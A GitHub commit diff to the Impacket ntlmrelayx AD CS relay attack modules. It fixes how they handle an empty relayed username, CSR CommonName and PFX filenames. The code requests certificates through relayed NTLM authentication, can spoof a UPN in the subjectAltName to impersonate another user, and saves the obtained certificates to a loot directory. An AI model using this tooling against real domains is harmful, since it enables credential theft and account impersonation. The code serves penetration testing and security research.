Skip to content

Commit 1f77e78

Browse files
authored
Fix to ADCS when relayed username is empty (#2060)
* Checking CommonName before setting in the CSR. Enhancing certificate name when username is empty * Adding fallback to certificate name * Fixing ICPRRPCAttack #2042 * Aligning ICPRRPCAttack with ADCSAttack * Update rpcattack.py
1 parent eaf2e55 commit 1f77e78

File tree

2 files changed

+67
-19
lines changed

2 files changed

+67
-19
lines changed

impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py

Lines changed: 55 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -20,9 +20,11 @@
2020
import os
2121
from OpenSSL import crypto
2222

23+
from cryptography import x509
2324
from cryptography.hazmat.primitives.serialization import pkcs12
2425
from cryptography.hazmat.primitives.serialization import NoEncryption
25-
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
26+
from cryptography.x509 import ExtensionNotFound, load_pem_x509_certificate
27+
from cryptography.x509.oid import NameOID, ObjectIdentifier
2628
from cryptography.hazmat.backends import default_backend
2729

2830

@@ -34,6 +36,7 @@
3436

3537

3638
class ADCSAttack:
39+
UPN_OID = ObjectIdentifier("1.3.6.1.4.1.311.20.2.3")
3740

3841
def _run(self):
3942
key = crypto.PKey()
@@ -85,17 +88,20 @@ def _run(self):
8588
LOG.info("GOT CERTIFICATE! ID %s" % certificate_id)
8689
certificate = response.read().decode()
8790

88-
certificate_store = self.generate_pfx(key.to_cryptography_key(), certificate)
89-
LOG.info("Writing PKCS#12 certificate to %s/%s.pfx" % (self.config.lootdir, self.username))
91+
cert_obj = load_pem_x509_certificate(certificate.encode(), backend=default_backend())
92+
pfx_filename = self._sanitize_filename(self.username or self._extract_certificate_identity(cert_obj) or "certificate_{0}".format(certificate_id))
93+
certificate_store = self.generate_pfx(key.to_cryptography_key(), cert_obj)
94+
output_path = os.path.join(self.config.lootdir, "{}.pfx".format(pfx_filename))
95+
LOG.info("Writing PKCS#12 certificate to %s" % output_path)
9096
try:
9197
if not os.path.isdir(self.config.lootdir):
9298
os.mkdir(self.config.lootdir)
93-
with open("%s/%s.pfx" % (self.config.lootdir, self.username), 'wb') as f:
99+
with open(output_path, 'wb') as f:
94100
f.write(certificate_store)
95101
LOG.info("Certificate successfully written to file")
96102
except Exception as e:
97103
LOG.info("Unable to write certificate to file, printing B64 of certificate to console instead")
98-
LOG.info("Base64-encoded PKCS#12 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode()))
104+
LOG.info("Base64-encoded PKCS#12 certificate (%s): \n%s" % (pfx_filename, base64.b64encode(certificate_store).decode()))
99105
pass
100106

101107
if self.config.altName:
@@ -105,29 +111,24 @@ def _run(self):
105111
def generate_csr(key, CN, altName, csr_type = crypto.FILETYPE_PEM):
106112
LOG.info("Generating CSR...")
107113
req = crypto.X509Req()
108-
req.get_subject().CN = CN
114+
115+
if CN:
116+
req.get_subject().CN = CN
109117

110118
if altName:
111119
req.add_extensions([crypto.X509Extension(b"subjectAltName", False, b"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b" % altName.encode() )])
112120

113-
114121
req.set_pubkey(key)
115122
req.sign(key, "sha256")
116123

117124
return crypto.dump_certificate_request(csr_type, req)
118125

119126
@staticmethod
120-
def generate_pfx(key, certificate, cert_type=crypto.FILETYPE_PEM):
121-
122-
if cert_type == crypto.FILETYPE_PEM:
123-
cert=load_pem_x509_certificate(certificate.encode(), backend=default_backend())
124-
else: #ASN1/DER
125-
cert=load_der_x509_certificate(certificate.encode(), backend=default_backend())
126-
127+
def generate_pfx(key, certificate):
127128
pfx_data = pkcs12.serialize_key_and_certificates(
128129
name=b"",
129130
key=key,
130-
cert=cert,
131+
cert=certificate,
131132
cas=None,
132133
encryption_algorithm=NoEncryption()
133134
)
@@ -139,3 +140,42 @@ def generate_certattributes(template, altName):
139140
if altName:
140141
return "CertificateTemplate:{}%0d%0aSAN:upn={}".format(template, altName)
141142
return "CertificateTemplate:{}".format(template)
143+
144+
@classmethod
145+
def _extract_certificate_identity(cls, cert):
146+
try:
147+
common_names = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)
148+
for attribute in common_names:
149+
value = attribute.value.strip()
150+
if value:
151+
return value
152+
except Exception:
153+
pass
154+
155+
try:
156+
san_extension = cert.extensions.get_extension_for_class(x509.SubjectAlternativeName)
157+
san = san_extension.value
158+
for other_name in san.get_values_for_type(x509.OtherName):
159+
if other_name.type_id == cls.UPN_OID:
160+
value = other_name.value
161+
if isinstance(value, bytes):
162+
value = value.decode('utf-8', errors='ignore')
163+
value = value.strip()
164+
if value:
165+
return value
166+
for dns_name in san.get_values_for_type(x509.DNSName):
167+
value = dns_name.strip()
168+
if value:
169+
return value
170+
except ExtensionNotFound:
171+
pass
172+
except Exception:
173+
pass
174+
175+
return None
176+
177+
@staticmethod
178+
def _sanitize_filename(name):
179+
sanitized = re.sub(r'[^A-Za-z0-9._-]', '_', name)
180+
sanitized = sanitized.strip("._")
181+
return sanitized

impacket/examples/ntlmrelayx/attacks/rpcattack.py

Lines changed: 12 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,8 @@
2020
import random
2121

2222
from OpenSSL import crypto
23+
from cryptography.x509 import load_der_x509_certificate
24+
from cryptography.hazmat.backends import default_backend
2325

2426
from impacket import LOG
2527
from impacket.dcerpc.v5 import tsch, icpr
@@ -156,19 +158,25 @@ def _run(self):
156158

157159
ELEVATED.append(self.username)
158160

159-
certificate_store = ADCSAttack.generate_pfx(key, certificate, crypto.FILETYPE_ASN1)
160-
LOG.info("Writing PKCS#12 certificate to %s/%s.pfx" % (self.config.lootdir, self.username))
161+
cert_obj = load_der_x509_certificate(certificate, backend=default_backend())
162+
pfx_filename = ADCSAttack._sanitize_filename(self.username or ADCSAttack._extract_certificate_identity(cert_obj) or "certificate")
163+
certificate_store = ADCSAttack.generate_pfx(key.to_cryptography_key(), cert_obj)
164+
output_path = os.path.join(self.config.lootdir, "{}.pfx".format(pfx_filename))
165+
LOG.info("Writing PKCS#12 certificate to %s" % output_path)
161166
try:
162167
if not os.path.isdir(self.config.lootdir):
163168
os.mkdir(self.config.lootdir)
164-
with open("%s/%s.pfx" % (self.config.lootdir, self.username), 'wb') as f:
169+
with open(output_path, 'wb') as f:
165170
f.write(certificate_store)
166171
LOG.info("Certificate successfully written to file")
167172
except Exception as e:
168173
LOG.info("Unable to write certificate to file, printing B64 of certificate to console instead")
169-
LOG.info("Base64-encoded PKCS#12 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode()))
174+
LOG.info("Base64-encoded PKCS#12 certificate (%s): \n%s" % (pfx_filename, base64.b64encode(certificate_store).decode()))
170175
pass
171176

177+
if self.config.altName:
178+
LOG.info("This certificate can also be used for user : {}".format(self.config.altName))
179+
172180
class RPCAttack(ProtocolAttack, TSCHRPCAttack):
173181
PLUGIN_NAMES = ["RPC"]
174182

0 commit comments

Comments
 (0)